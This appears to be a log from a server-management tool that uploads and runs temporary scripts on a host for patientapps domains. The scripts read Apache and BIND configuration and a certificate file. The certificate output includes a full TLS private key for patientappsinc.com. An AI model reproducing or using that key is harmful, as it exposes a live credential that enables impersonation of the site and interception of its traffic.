         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 10:29:34: 

PUT: /tmp/pkp922271

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:29:34: 

chmod 755 /tmp/pkp922271; /tmp/pkp922271; rm /tmp/pkp922271

2026-05-24 10:29:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1734

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com store.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com store.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-05-24 10:29:34: 

PUT: /tmp/pkp804515

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:29:34: 

chmod 755 /tmp/pkp804515; /tmp/pkp804515; rm /tmp/pkp804515

2026-05-24 10:29:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt	5437
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 10:29:34: Establishing a connection
2026-05-24 10:29:34: 

PUT: /tmp/pkp406282

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:29:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp406282; rm /tmp/pkp406282'

2026-05-24 10:29:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
